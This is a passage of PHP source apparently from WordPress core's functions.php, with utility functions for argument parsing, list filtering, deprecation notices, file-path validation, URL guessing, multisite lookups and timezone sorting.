$wp_smiliessearch .= '|(?<=' . $spaces . '|^)'; // Begin another "subpattern"
}
$subchar = $firstchar;
$wp_smiliessearch .= preg_quote($firstchar, '/') . '(?:';
} else {
$wp_smiliessearch .= '|';
}
$wp_smiliessearch .= preg_quote($rest, '/');
}
$wp_smiliessearch .= ')(?=' . $spaces . '|$)/m';
}
/**
* Merge user defined arguments into defaults array.
*
* This function is used throughout WordPress to allow for both string or array
* to be merged into another array.
*
* @since 2.2.0
* @since 2.3.0 `$args` can now also be an object.
*
* @param string|array|object $args Value to merge with $defaults.
* @param array $defaults Optional. Array that serves as the defaults. Default empty.
* @return array Merged user defined values with defaults.
*/
function wp_parse_args( $args, $defaults = '' ) {
if ( is_object( $args ) )
$r = get_object_vars( $args );
elseif ( is_array( $args ) )
$r =& $args;
else
wp_parse_str( $args, $r );
if ( is_array( $defaults ) )
return array_merge( $defaults, $r );
return $r;
}
/**
* Clean up an array, comma- or space-separated list of IDs.
*
* @since 3.0.0
*
* @param array|string $list List of ids.
* @return array Sanitized array of IDs.
*/
function wp_parse_id_list( $list ) {
if ( !is_array($list) )
$list = preg_split('/[\s,]+/', $list);
return array_unique(array_map('absint', $list));
}
/**
* Clean up an array, comma- or space-separated list of slugs.
*
* @since 4.7.0
*
* @param array|string $list List of slugs.
* @return array Sanitized array of slugs.
*/
function wp_parse_slug_list( $list ) {
if ( ! is_array( $list ) ) {
$list = preg_split( '/[\s,]+/', $list );
}
foreach ( $list as $key => $value ) {
$list[ $key ] = sanitize_title( $value );
}
return array_unique( $list );
}
/**
* Extract a slice of an array, given a list of keys.
*
* @since 3.1.0
*
* @param array $array The original array.
* @param array $keys The list of keys.
* @return array The array slice.
*/
function wp_array_slice_assoc( $array, $keys ) {
$slice = array();
foreach ( $keys as $key )
if ( isset( $array[ $key ] ) )
$slice[ $key ] = $array[ $key ];
return $slice;
}
/**
* Determines if the variable is a numeric-indexed array.
*
* @since 4.4.0
*
* @param mixed $data Variable to check.
* @return bool Whether the variable is a list.
*/
function wp_is_numeric_array( $data ) {
if ( ! is_array( $data ) ) {
return false;
}
$keys = array_keys( $data );
$string_keys = array_filter( $keys, 'is_string' );
return count( $string_keys ) === 0;
}
/**
* Filters a list of objects, based on a set of key => value arguments.
*
* @since 3.0.0
* @since 4.7.0 Uses WP_List_Util class.
*
* @param array $list An array of objects to filter
* @param array $args Optional. An array of key => value arguments to match
* against each object. Default empty array.
* @param string $operator Optional. The logical operation to perform. 'or' means
* only one element from the array needs to match; 'and'
* means all elements must match; 'not' means no elements may
* match. Default 'and'.
* @param bool|string $field A field from the object to place instead of the entire object.
* Default false.
* @return array A list of objects or object fields.
*/
function wp_filter_object_list( $list, $args = array(), $operator = 'and', $field = false ) {
if ( ! is_array( $list ) ) {
return array();
}
$util = new WP_List_Util( $list );
$util->filter( $args, $operator );
if ( $field ) {
$util->pluck( $field );
}
return $util->get_output();
}
/**
* Filters a list of objects, based on a set of key => value arguments.
*
* @since 3.1.0
* @since 4.7.0 Uses WP_List_Util class.
*
* @param array $list An array of objects to filter.
* @param array $args Optional. An array of key => value arguments to match
* against each object. Default empty array.
* @param string $operator Optional. The logical operation to perform. 'AND' means
* all elements from the array must match. 'OR' means only
* one element needs to match. 'NOT' means no elements may
* match. Default 'AND'.
* @return array Array of found values.
*/
function wp_list_filter( $list, $args = array(), $operator = 'AND' ) {
if ( ! is_array( $list ) ) {
return array();
}
$util = new WP_List_Util( $list );
return $util->filter( $args, $operator );
}
/**
* Pluck a certain field out of each object in a list.
*
* This has the same functionality and prototype of
* array_column() (PHP 5.5) but also supports objects.
*
* @since 3.1.0
* @since 4.0.0 $index_key parameter added.
* @since 4.7.0 Uses WP_List_Util class.
*
* @param array $list List of objects or arrays
* @param int|string $field Field from the object to place instead of the entire object
* @param int|string $index_key Optional. Field from the object to use as keys for the new array.
* Default null.
* @return array Array of found values. If `$index_key` is set, an array of found values with keys
* corresponding to `$index_key`. If `$index_key` is null, array keys from the original
* `$list` will be preserved in the results.
*/
function wp_list_pluck( $list, $field, $index_key = null ) {
$util = new WP_List_Util( $list );
return $util->pluck( $field, $index_key );
}
/**
* Sorts a list of objects, based on one or more orderby arguments.
*
* @since 4.7.0
*
* @param array $list An array of objects to filter.
* @param string|array $orderby Optional. Either the field name to order by or an array
* of multiple orderby fields as $orderby => $order.
* @param string $order Optional. Either 'ASC' or 'DESC'. Only used if $orderby
* is a string.
* @param bool $preserve_keys Optional. Whether to preserve keys. Default false.
* @return array The sorted array.
*/
function wp_list_sort( $list, $orderby = array(), $order = 'ASC', $preserve_keys = false ) {
if ( ! is_array( $list ) ) {
return array();
}
$util = new WP_List_Util( $list );
return $util->sort( $orderby, $order, $preserve_keys );
}
/**
* Determines if Widgets library should be loaded.
*
* Checks to make sure that the widgets library hasn't already been loaded.
* If it hasn't, then it will load the widgets library and run an action hook.
*
* @since 2.2.0
*/
function wp_maybe_load_widgets() {
/**
* Filters whether to load the Widgets library.
*
* Passing a falsey value to the filter will effectively short-circuit
* the Widgets library from loading.
*
* @since 2.8.0
*
* @param bool $wp_maybe_load_widgets Whether to load the Widgets library.
* Default true.
*/
if ( ! apply_filters( 'load_default_widgets', true ) ) {
return;
}
require_once( ABSPATH . WPINC . '/default-widgets.php' );
add_action( '_admin_menu', 'wp_widgets_add_menu' );
}
/**
* Append the Widgets menu to the themes main menu.
*
* @since 2.2.0
*
* @global array $submenu
*/
function wp_widgets_add_menu() {
global $submenu;
if ( ! current_theme_supports( 'widgets' ) )
return;
$submenu['themes.php'][7] = array( __( 'Widgets' ), 'edit_theme_options', 'widgets.php' );
ksort( $submenu['themes.php'], SORT_NUMERIC );
}
/**
* Flush all output buffers for PHP 5.2.
*
* Make sure all output buffers are flushed before our singletons are destroyed.
*
* @since 2.2.0
*/
function wp_ob_end_flush_all() {
$levels = ob_get_level();
for ($i=0; $i<$levels; $i++)
ob_end_flush();
}
/**
* Load custom DB error or display WordPress DB error.
*
* If a file exists in the wp-content directory named db-error.php, then it will
* be loaded instead of displaying the WordPress DB error. If it is not found,
* then the WordPress DB error will be displayed instead.
*
* The WordPress DB error sets the HTTP status header to 500 to try to prevent
* search engines from caching the message. Custom DB messages should do the
* same.
*
* This function was backported to WordPress 2.3.2, but originally was added
* in WordPress 2.5.0.
*
* @since 2.3.2
*
* @global wpdb $wpdb WordPress database abstraction object.
*/
function dead_db() {
global $wpdb;
wp_load_translations_early();
// Load custom DB error template, if present.
if ( file_exists( WP_CONTENT_DIR . '/db-error.php' ) ) {
require_once( WP_CONTENT_DIR . '/db-error.php' );
die();
}
// If installing or in the admin, provide the verbose message.
if ( wp_installing() || defined( 'WP_ADMIN' ) )
wp_die($wpdb->error);
// Otherwise, be terse.
status_header( 500 );
nocache_headers();
header( 'Content-Type: text/html; charset=utf-8' );
?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml"<?php if ( is_rtl() ) echo ' dir="rtl"'; ?>>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title><?php _e( 'Database Error' ); ?></title>
</head>
<body>
<h1><?php _e( 'Error establishing a database connection' ); ?></h1>
</body>
</html>
<?php
die();
}
/**
* Convert a value to non-negative integer.
*
* @since 2.5.0
*
* @param mixed $maybeint Data you wish to have converted to a non-negative integer.
* @return int A non-negative integer.
*/
function absint( $maybeint ) {
return abs( intval( $maybeint ) );
}
/**
* Mark a function as deprecated and inform when it has been used.
*
* There is a {@see 'hook deprecated_function_run'} that will be called that can be used
* to get the backtrace up to what file and function called the deprecated
* function.
*
* The current behavior is to trigger a user error if `WP_DEBUG` is true.
*
* This function is to be used in every function that is deprecated.
*
* @since 2.5.0
* @access private
*
* @param string $function The function that was called.
* @param string $version The version of WordPress that deprecated the function.
* @param string $replacement Optional. The function that should have been called. Default null.
*/
function _deprecated_function( $function, $version, $replacement = null ) {
/**
* Fires when a deprecated function is called.
*
* @since 2.5.0
*
* @param string $function The function that was called.
* @param string $replacement The function that should have been called.
* @param string $version The version of WordPress that deprecated the function.
*/
do_action( 'deprecated_function_run', $function, $replacement, $version );
/**
* Filters whether to trigger an error for deprecated functions.
*
* @since 2.5.0
*
* @param bool $trigger Whether to trigger the error for deprecated functions. Default true.
*/
if ( WP_DEBUG && apply_filters( 'deprecated_function_trigger_error', true ) ) {
if ( function_exists( '__' ) ) {
if ( ! is_null( $replacement ) ) {
/* translators: 1: PHP function name, 2: version number, 3: alternative function name */
trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.'), $function, $version, $replacement ) );
} else {
/* translators: 1: PHP function name, 2: version number */
trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.'), $function, $version ) );
}
} else {
if ( ! is_null( $replacement ) ) {
trigger_error( sprintf( '%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.', $function, $version, $replacement ) );
} else {
trigger_error( sprintf( '%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.', $function, $version ) );
}
}
}
}
/**
* Marks a constructor as deprecated and informs when it has been used.
*
* Similar to _deprecated_function(), but with different strings. Used to
* remove PHP4 style constructors.
*
* The current behavior is to trigger a user error if `WP_DEBUG` is true.
*
* This function is to be used in every PHP4 style constructor method that is deprecated.
*
* @since 4.3.0
* @since 4.5.0 Added the `$parent_class` parameter.
*
* @access private
*
* @param string $class The class containing the deprecated constructor.
* @param string $version The version of WordPress that deprecated the function.
* @param string $parent_class Optional. The parent class calling the deprecated constructor.
* Default empty string.
*/
function _deprecated_constructor( $class, $version, $parent_class = '' ) {
/**
* Fires when a deprecated constructor is called.
*
* @since 4.3.0
* @since 4.5.0 Added the `$parent_class` parameter.
*
* @param string $class The class containing the deprecated constructor.
* @param string $version The version of WordPress that deprecated the function.
* @param string $parent_class The parent class calling the deprecated constructor.
*/
do_action( 'deprecated_constructor_run', $class, $version, $parent_class );
/**
* Filters whether to trigger an error for deprecated functions.
*
* `WP_DEBUG` must be true in addition to the filter evaluating to true.
*
* @since 4.3.0
*
* @param bool $trigger Whether to trigger the error for deprecated functions. Default true.
*/
if ( WP_DEBUG && apply_filters( 'deprecated_constructor_trigger_error', true ) ) {
if ( function_exists( '__' ) ) {
if ( ! empty( $parent_class ) ) {
/* translators: 1: PHP class name, 2: PHP parent class name, 3: version number, 4: __construct() method */
trigger_error( sprintf( __( 'The called constructor method for %1$s in %2$s is <strong>deprecated</strong> since version %3$s! Use %4$s instead.' ),
$class, $parent_class, $version, '<pre>__construct()</pre>' ) );
} else {
/* translators: 1: PHP class name, 2: version number, 3: __construct() method */
trigger_error( sprintf( __( 'The called constructor method for %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.' ),
$class, $version, '<pre>__construct()</pre>' ) );
}
} else {
if ( ! empty( $parent_class ) ) {
trigger_error( sprintf( 'The called constructor method for %1$s in %2$s is <strong>deprecated</strong> since version %3$s! Use %4$s instead.',
$class, $parent_class, $version, '<pre>__construct()</pre>' ) );
} else {
trigger_error( sprintf( 'The called constructor method for %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.',
$class, $version, '<pre>__construct()</pre>' ) );
}
}
}
}
/**
* Mark a file as deprecated and inform when it has been used.
*
* There is a hook {@see 'deprecated_file_included'} that will be called that can be used
* to get the backtrace up to what file and function included the deprecated
* file.
*
* The current behavior is to trigger a user error if `WP_DEBUG` is true.
*
* This function is to be used in every file that is deprecated.
*
* @since 2.5.0
* @access private
*
* @param string $file The file that was included.
* @param string $version The version of WordPress that deprecated the file.
* @param string $replacement Optional. The file that should have been included based on ABSPATH.
* Default null.
* @param string $message Optional. A message regarding the change. Default empty.
*/
function _deprecated_file( $file, $version, $replacement = null, $message = '' ) {
/**
* Fires when a deprecated file is called.
*
* @since 2.5.0
*
* @param string $file The file that was called.
* @param string $replacement The file that should have been included based on ABSPATH.
* @param string $version The version of WordPress that deprecated the file.
* @param string $message A message regarding the change.
*/
do_action( 'deprecated_file_included', $file, $replacement, $version, $message );
/**
* Filters whether to trigger an error for deprecated files.
*
* @since 2.5.0
*
* @param bool $trigger Whether to trigger the error for deprecated files. Default true.
*/
if ( WP_DEBUG && apply_filters( 'deprecated_file_trigger_error', true ) ) {
$message = empty( $message ) ? '' : ' ' . $message;
if ( function_exists( '__' ) ) {
if ( ! is_null( $replacement ) ) {
/* translators: 1: PHP file name, 2: version number, 3: alternative file name */
trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.'), $file, $version, $replacement ) . $message );
} else {
/* translators: 1: PHP file name, 2: version number */
trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.'), $file, $version ) . $message );
}
} else {
if ( ! is_null( $replacement ) ) {
trigger_error( sprintf( '%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.', $file, $version, $replacement ) . $message );
} else {
trigger_error( sprintf( '%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.', $file, $version ) . $message );
}
}
}
}
/**
* Mark a function argument as deprecated and inform when it has been used.
*
* This function is to be used whenever a deprecated function argument is used.
* Before this function is called, the argument must be checked for whether it was
* used by comparing it to its default value or evaluating whether it is empty.
* For example:
*
* if ( ! empty( $deprecated ) ) {
* _deprecated_argument( __FUNCTION__, '3.0.0' );
* }
*
*
* There is a hook deprecated_argument_run that will be called that can be used
* to get the backtrace up to what file and function used the deprecated
* argument.
*
* The current behavior is to trigger a user error if WP_DEBUG is true.
*
* @since 3.0.0
* @access private
*
* @param string $function The function that was called.
* @param string $version The version of WordPress that deprecated the argument used.
* @param string $message Optional. A message regarding the change. Default null.
*/
function _deprecated_argument( $function, $version, $message = null ) {
/**
* Fires when a deprecated argument is called.
*
* @since 3.0.0
*
* @param string $function The function that was called.
* @param string $message A message regarding the change.
* @param string $version The version of WordPress that deprecated the argument used.
*/
do_action( 'deprecated_argument_run', $function, $message, $version );
/**
* Filters whether to trigger an error for deprecated arguments.
*
* @since 3.0.0
*
* @param bool $trigger Whether to trigger the error for deprecated arguments. Default true.
*/
if ( WP_DEBUG && apply_filters( 'deprecated_argument_trigger_error', true ) ) {
if ( function_exists( '__' ) ) {
if ( ! is_null( $message ) ) {
/* translators: 1: PHP function name, 2: version number, 3: optional message regarding the change */
trigger_error( sprintf( __('%1$s was called with an argument that is <strong>deprecated</strong> since version %2$s! %3$s'), $function, $version, $message ) );
} else {
/* translators: 1: PHP function name, 2: version number */
trigger_error( sprintf( __('%1$s was called with an argument that is <strong>deprecated</strong> since version %2$s with no alternative available.'), $function, $version ) );
}
} else {
if ( ! is_null( $message ) ) {
trigger_error( sprintf( '%1$s was called with an argument that is <strong>deprecated</strong> since version %2$s! %3$s', $function, $version, $message ) );
} else {
trigger_error( sprintf( '%1$s was called with an argument that is <strong>deprecated</strong> since version %2$s with no alternative available.', $function, $version ) );
}
}
}
}
/**
* Marks a deprecated action or filter hook as deprecated and throws a notice.
*
* Use the {@see 'deprecated_hook_run'} action to get the backtrace describing where
* the deprecated hook was called.
*
* Default behavior is to trigger a user error if `WP_DEBUG` is true.
*
* This function is called by the do_action_deprecated() and apply_filters_deprecated()
* functions, and so generally does not need to be called directly.
*
* @since 4.6.0
* @access private
*
* @param string $hook The hook that was used.
* @param string $version The version of WordPress that deprecated the hook.
* @param string $replacement Optional. The hook that should have been used.
* @param string $message Optional. A message regarding the change.
*/
function _deprecated_hook( $hook, $version, $replacement = null, $message = null ) {
/**
* Fires when a deprecated hook is called.
*
* @since 4.6.0
*
* @param string $hook The hook that was called.
* @param string $replacement The hook that should be used as a replacement.
* @param string $version The version of WordPress that deprecated the argument used.
* @param string $message A message regarding the change.
*/
do_action( 'deprecated_hook_run', $hook, $replacement, $version, $message );
/**
* Filters whether to trigger deprecated hook errors.
*
* @since 4.6.0
*
* @param bool $trigger Whether to trigger deprecated hook errors. Requires
* `WP_DEBUG` to be defined true.
*/
if ( WP_DEBUG && apply_filters( 'deprecated_hook_trigger_error', true ) ) {
$message = empty( $message ) ? '' : ' ' . $message;
if ( ! is_null( $replacement ) ) {
/* translators: 1: WordPress hook name, 2: version number, 3: alternative hook name */
trigger_error( sprintf( __( '%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.' ), $hook, $version, $replacement ) . $message );
} else {
/* translators: 1: WordPress hook name, 2: version number */
trigger_error( sprintf( __( '%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.' ), $hook, $version ) . $message );
}
}
}
/**
* Mark something as being incorrectly called.
*
* There is a hook {@see 'doing_it_wrong_run'} that will be called that can be used
* to get the backtrace up to what file and function called the deprecated
* function.
*
* The current behavior is to trigger a user error if `WP_DEBUG` is true.
*
* @since 3.1.0
* @access private
*
* @param string $function The function that was called.
* @param string $message A message explaining what has been done incorrectly.
* @param string $version The version of WordPress where the message was added.
*/
function _doing_it_wrong( $function, $message, $version ) {
/**
* Fires when the given function is being used incorrectly.
*
* @since 3.1.0
*
* @param string $function The function that was called.
* @param string $message A message explaining what has been done incorrectly.
* @param string $version The version of WordPress where the message was added.
*/
do_action( 'doing_it_wrong_run', $function, $message, $version );
/**
* Filters whether to trigger an error for _doing_it_wrong() calls.
*
* @since 3.1.0
*
* @param bool $trigger Whether to trigger the error for _doing_it_wrong() calls. Default true.
*/
if ( WP_DEBUG && apply_filters( 'doing_it_wrong_trigger_error', true ) ) {
if ( function_exists( '__' ) ) {
if ( is_null( $version ) ) {
$version = '';
} else {
/* translators: %s: version number */
$version = sprintf( __( '(This message was added in version %s.)' ), $version );
}
/* translators: %s: Codex URL */
$message .= ' ' . sprintf( __( 'Please see <a href="%s">Debugging in WordPress</a> for more information.' ),
__( 'https://codex.wordpress.org/Debugging_in_WordPress' )
);
/* translators: Developer debugging message. 1: PHP function name, 2: Explanatory message, 3: Version information message */
trigger_error( sprintf( __( '%1$s was called <strong>incorrectly</strong>. %2$s %3$s' ), $function, $message, $version ) );
} else {
if ( is_null( $version ) ) {
$version = '';
} else {
$version = sprintf( '(This message was added in version %s.)', $version );
}
$message .= sprintf( ' Please see <a href="%s">Debugging in WordPress</a> for more information.',
'https://codex.wordpress.org/Debugging_in_WordPress'
);
trigger_error( sprintf( '%1$s was called <strong>incorrectly</strong>. %2$s %3$s', $function, $message, $version ) );
}
}
}
/**
* Is the server running earlier than 1.5.0 version of lighttpd?
*
* @since 2.5.0
*
* @return bool Whether the server is running lighttpd < 1.5.0.
*/
function is_lighttpd_before_150() {
$server_parts = explode( '/', isset( $_SERVER['SERVER_SOFTWARE'] )? $_SERVER['SERVER_SOFTWARE'] : '' );
$server_parts[1] = isset( $server_parts[1] )? $server_parts[1] : '';
return 'lighttpd' == $server_parts[0] && -1 == version_compare( $server_parts[1], '1.5.0' );
}
/**
* Does the specified module exist in the Apache config?
*
* @since 2.5.0
*
* @global bool $is_apache
*
* @param string $mod The module, e.g. mod_rewrite.
* @param bool $default Optional. The default return value if the module is not found. Default false.
* @return bool Whether the specified module is loaded.
*/
function apache_mod_loaded($mod, $default = false) {
global $is_apache;
if ( !$is_apache )
return false;
if ( function_exists( 'apache_get_modules' ) ) {
$mods = apache_get_modules();
if ( in_array($mod, $mods) )
return true;
} elseif ( function_exists( 'phpinfo' ) && false === strpos( ini_get( 'disable_functions' ), 'phpinfo' ) ) {
ob_start();
phpinfo(8);
$phpinfo = ob_get_clean();
if ( false !== strpos($phpinfo, $mod) )
return true;
}
return $default;
}
/**
* Check if IIS 7+ supports pretty permalinks.
*
* @since 2.8.0
*
* @global bool $is_iis7
*
* @return bool Whether IIS7 supports permalinks.
*/
function iis7_supports_permalinks() {
global $is_iis7;
$supports_permalinks = false;
if ( $is_iis7 ) {
/* First we check if the DOMDocument class exists. If it does not exist, then we cannot
* easily update the xml configuration file, hence we just bail out and tell user that
* pretty permalinks cannot be used.
*
* Next we check if the URL Rewrite Module 1.1 is loaded and enabled for the web site. When
* URL Rewrite 1.1 is loaded it always sets a server variable called 'IIS_UrlRewriteModule'.
* Lastly we make sure that PHP is running via FastCGI. This is important because if it runs
* via ISAPI then pretty permalinks will not work.
*/
$supports_permalinks = class_exists( 'DOMDocument', false ) && isset($_SERVER['IIS_UrlRewriteModule']) && ( PHP_SAPI == 'cgi-fcgi' );
}
/**
* Filters whether IIS 7+ supports pretty permalinks.
*
* @since 2.8.0
*
* @param bool $supports_permalinks Whether IIS7 supports permalinks. Default false.
*/
return apply_filters( 'iis7_supports_permalinks', $supports_permalinks );
}
/**
* Validates a file name and path against an allowed set of rules.
*
* A return value of `1` means the file path contains directory traversal.
*
* A return value of `2` means the file path contains a Windows drive path.
*
* A return value of `3` means the file is not in the allowed files list.
*
* @since 1.2.0
*
* @param string $file File path.
* @param array $allowed_files Optional. List of allowed files.
* @return int 0 means nothing is wrong, greater than 0 means something was wrong.
*/
function validate_file( $file, $allowed_files = array() ) {
// Normalize path for Windows servers
$file = wp_normalize_path( $file );
// `../` on its own is not allowed:
if ( '../' === $file ) {
return 1;
}
// More than one occurence of `../` is not allowed:
if ( preg_match_all( '#\.\./#', $file, $matches, PREG_SET_ORDER ) && ( count( $matches ) > 1 ) ) {
return 1;
}
// `../` which does not occur at the end of the path is not allowed:
if ( false !== strpos( $file, '../' ) && '../' !== mb_substr( $file, -3, 3 ) ) {
return 1;
}
// Files not in the allowed file list are not allowed:
if ( ! empty( $allowed_files ) && ! in_array( $file, $allowed_files ) )
return 3;
// Absolute Windows drive paths are not allowed:
if (':' == substr( $file, 1, 1 ) )
return 2;
return 0;
}
/**
* Whether to force SSL used for the Administration Screens.
*
* @since 2.6.0
*
* @staticvar bool $forced
*
* @param string|bool $force Optional. Whether to force SSL in admin screens. Default null.
* @return bool True if forced, false if not forced.
*/
function force_ssl_admin( $force = null ) {
static $forced = false;
if ( !is_null( $force ) ) {
$old_forced = $forced;
$forced = $force;
return $old_forced;
}
return $forced;
}
/**
* Guess the URL for the site.
*
* Will remove wp-admin links to retrieve only return URLs not in the wp-admin
* directory.
*
* @since 2.6.0
*
* @return string The guessed URL.
*/
function wp_guess_url() {
if ( defined('WP_SITEURL') && '' != WP_SITEURL ) {
$url = WP_SITEURL;
} else {
$abspath_fix = str_replace( '\\', '/', ABSPATH );
$script_filename_dir = dirname( $_SERVER['SCRIPT_FILENAME'] );
// The request is for the admin
if ( strpos( $_SERVER['REQUEST_URI'], 'wp-admin' ) !== false || strpos( $_SERVER['REQUEST_URI'], 'wp-login.php' ) !== false ) {
$path = preg_replace( '#/(wp-admin/.*|wp-login.php)#i', '', $_SERVER['REQUEST_URI'] );
// The request is for a file in ABSPATH
} elseif ( $script_filename_dir . '/' == $abspath_fix ) {
// Strip off any file/query params in the path
$path = preg_replace( '#/[^/]*$#i', '', $_SERVER['PHP_SELF'] );
} else {
if ( false !== strpos( $_SERVER['SCRIPT_FILENAME'], $abspath_fix ) ) {
// Request is hitting a file inside ABSPATH
$directory = str_replace( ABSPATH, '', $script_filename_dir );
// Strip off the sub directory, and any file/query params
$path = preg_replace( '#/' . preg_quote( $directory, '#' ) . '/[^/]*$#i', '' , $_SERVER['REQUEST_URI'] );
} elseif ( false !== strpos( $abspath_fix, $script_filename_dir ) ) {
// Request is hitting a file above ABSPATH
$subdirectory = substr( $abspath_fix, strpos( $abspath_fix, $script_filename_dir ) + strlen( $script_filename_dir ) );
// Strip off any file/query params from the path, appending the sub directory to the installation
$path = preg_replace( '#/[^/]*$#i', '' , $_SERVER['REQUEST_URI'] ) . $subdirectory;
} else {
$path = $_SERVER['REQUEST_URI'];
}
}
$schema = is_ssl() ? 'https://' : 'http://'; // set_url_scheme() is not defined yet
$url = $schema . $_SERVER['HTTP_HOST'] . $path;
}
return rtrim($url, '/');
}
/**
* Temporarily suspend cache additions.
*
* Stops more data being added to the cache, but still allows cache retrieval.
* This is useful for actions, such as imports, when a lot of data would otherwise
* be almost uselessly added to the cache.
*
* Suspension lasts for a single page load at most. Remember to call this
* function again if you wish to re-enable cache adds earlier.
*
* @since 3.3.0
*
* @staticvar bool $_suspend
*
* @param bool $suspend Optional. Suspends additions if true, re-enables them if false.
* @return bool The current suspend setting
*/
function wp_suspend_cache_addition( $suspend = null ) {
static $_suspend = false;
if ( is_bool( $suspend ) )
$_suspend = $suspend;
return $_suspend;
}
/**
* Suspend cache invalidation.
*
* Turns cache invalidation on and off. Useful during imports where you don't want to do
* invalidations every time a post is inserted. Callers must be sure that what they are
* doing won't lead to an inconsistent cache when invalidation is suspended.
*
* @since 2.7.0
*
* @global bool $_wp_suspend_cache_invalidation
*
* @param bool $suspend Optional. Whether to suspend or enable cache invalidation. Default true.
* @return bool The current suspend setting.
*/
function wp_suspend_cache_invalidation( $suspend = true ) {
global $_wp_suspend_cache_invalidation;
$current_suspend = $_wp_suspend_cache_invalidation;
$_wp_suspend_cache_invalidation = $suspend;
return $current_suspend;
}
/**
* Determine whether a site is the main site of the current network.
*
* @since 3.0.0
* @since 4.9.0 The $network_id parameter has been added.
*
* @param int $site_id Optional. Site ID to test. Defaults to current site.
* @param int $network_id Optional. Network ID of the network to check for.
* Defaults to current network.
* @return bool True if $site_id is the main site of the network, or if not
* running Multisite.
*/
function is_main_site( $site_id = null, $network_id = null ) {
if ( ! is_multisite() ) {
return true;
}
if ( ! $site_id ) {
$site_id = get_current_blog_id();
}
$site_id = (int) $site_id;
return $site_id === get_main_site_id( $network_id );
}
/**
* Gets the main site ID.
*
* @since 4.9.0
*
* @param int $network_id Optional. The ID of the network for which to get the main site.
* Defaults to the current network.
* @return int The ID of the main site.
*/
function get_main_site_id( $network_id = null ) {
if ( ! is_multisite() ) {
return get_current_blog_id();
}
$network = get_network( $network_id );
if ( ! $network ) {
return 0;
}
return $network->site_id;
}
/**
* Determine whether a network is the main network of the Multisite installation.
*
* @since 3.7.0
*
* @param int $network_id Optional. Network ID to test. Defaults to current network.
* @return bool True if $network_id is the main network, or if not running Multisite.
*/
function is_main_network( $network_id = null ) {
if ( ! is_multisite() ) {
return true;
}
if ( null === $network_id ) {
$network_id = get_current_network_id();
}
$network_id = (int) $network_id;
return ( $network_id === get_main_network_id() );
}
/**
* Get the main network ID.
*
* @since 4.3.0
*
* @return int The ID of the main network.
*/
function get_main_network_id() {
if ( ! is_multisite() ) {
return 1;
}
$current_network = get_network();
if ( defined( 'PRIMARY_NETWORK_ID' ) ) {
$main_network_id = PRIMARY_NETWORK_ID;
} elseif ( isset( $current_network->id ) && 1 === (int) $current_network->id ) {
// If the current network has an ID of 1, assume it is the main network.
$main_network_id = 1;
} else {
$_networks = get_networks( array( 'fields' => 'ids', 'number' => 1 ) );
$main_network_id = array_shift( $_networks );
}
/**
* Filters the main network ID.
*
* @since 4.3.0
*
* @param int $main_network_id The ID of the main network.
*/
return (int) apply_filters( 'get_main_network_id', $main_network_id );
}
/**
* Determine whether global terms are enabled.
*
* @since 3.0.0
*
* @staticvar bool $global_terms
*
* @return bool True if multisite and global terms enabled.
*/
function global_terms_enabled() {
if ( ! is_multisite() )
return false;
static $global_terms = null;
if ( is_null( $global_terms ) ) {
/**
* Filters whether global terms are enabled.
*
* Passing a non-null value to the filter will effectively short-circuit the function,
* returning the value of the 'global_terms_enabled' site option instead.
*
* @since 3.0.0
*
* @param null $enabled Whether global terms are enabled.
*/
$filter = apply_filters( 'global_terms_enabled', null );
if ( ! is_null( $filter ) )
$global_terms = (bool) $filter;
else
$global_terms = (bool) get_site_option( 'global_terms_enabled', false );
}
return $global_terms;
}
/**
* gmt_offset modification for smart timezone handling.
*
* Overrides the gmt_offset option if we have a timezone_string available.
*
* @since 2.8.0
*
* @return float|false Timezone GMT offset, false otherwise.
*/
function wp_timezone_override_offset() {
if ( !$timezone_string = get_option( 'timezone_string' ) ) {
return false;
}
$timezone_object = timezone_open( $timezone_string );
$datetime_object = date_create();
if ( false === $timezone_object || false === $datetime_object ) {
return false;
}
return round( timezone_offset_get( $timezone_object, $datetime_object ) / HOUR_IN_SECONDS, 2 );
}
/**
* Sort-helper for timezones.
*
* @since 2.9.0
* @access private
*
* @param array $a
* @param array $b
* @return int
*/
function _wp_timezone_choice_usort_callback( $a, $b ) {
// Don't use translated versions of Etc
if ( 'Etc' === $a['continent'] && 'Etc' === $b['continent'] ) {
// Make the order of these more like the old dropdown
if ( 'GMT+' === substr( $a['city'], 0, 4 ) && 'GMT+' === substr( $b['city'], 0, 4 ) ) {
return -1 * ( strnatcasecmp( $a['city'], $b['city'] ) );
}
if ( 'UTC' === $a['city'] ) {
if ( 'GMT+' === substr( $b['city'], 0, 4 ) ) {
return 1;
}
return -1;
}
if ( 'UTC' === $b['city'] ) {
if ( 'GMT+' === substr( $a['city'], 0, 4 ) ) {
return -1;
}
return 1;
}
return strnatcasecmp( $a['city'], $b['city'] );
}
if ( $a['t_continent'] == $b['t_continent'] ) {
if ( $a['t_city'] == $b['t_city'] ) {
return strnatcasecmp( $a['t_subcity'], $b['t_subcity'] );
}
return strnatcasecmp( $a['t_city'], $b['t_city'] );
} else {
// Force Etc to the bottom of the list
if ( 'Etc' === $a['continent'] ) {
return 1;
}
if ( 'Etc' === $b['continent'] ) {
return -1;
}
return strnatcasecmp( $a['t_continent'], $b['t_continent'] );
}
}
/**
* Gives a nicely-formatted list of timezone strings.
*
* @since 2.9.0
* @since 4.7.0 Added the `$locale` parameter.
*
* @staticvar bool $mo_loaded
* @staticvar string $locale_loaded
*
* @param string $selected_zone Selected timezone.
* @param string $locale Optional. Locale to load the timezones in. Default current site locale.
* @return string
*/
function wp_timezone_choice( $selected_zone, $locale = null ) {
static $mo_loaded = false, $locale_loaded = null;
$continents = array( 'Africa', 'America', 'Antarctica', 'Arctic', 'Asia', 'Atlantic', 'Australia', 'Europe', 'Indian', 'Pacific');
// Load translations for continents and cities.
if ( ! $mo_loaded || $locale !== $locale_loaded ) {
